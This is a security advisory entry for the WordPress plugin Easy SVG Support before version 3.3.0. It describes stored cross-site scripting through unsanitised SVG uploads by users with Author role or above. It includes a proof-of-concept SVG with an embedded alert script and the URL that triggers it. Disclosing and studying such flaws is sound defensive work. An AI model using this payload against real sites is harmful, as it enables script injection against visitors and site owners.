Easy SVG Support < 3.3.0 - Author+ Stored Cross Site Scripting via SVG

2022-06-0100:00:00

IBLISS Digital Security

207

0.001 Low

EPSS

Percentile

24.8%

JSON

The plugin does not sanitise uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads

As an author or above, upload the below SVG file via the Media library:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400" />
<script type="text/javascript">
alert(/XSS/);
</script>
</svg>

The XSS will be triggered when accessing the file directly, e.g https://example.com/wp-content/uploads/2022/05/xss.svg

0.001 Low

EPSS

Percentile

24.8%

JSON

Related for WPEX-ID:52CF7E3C-2A0C-45C4-BE27-BE87424F1338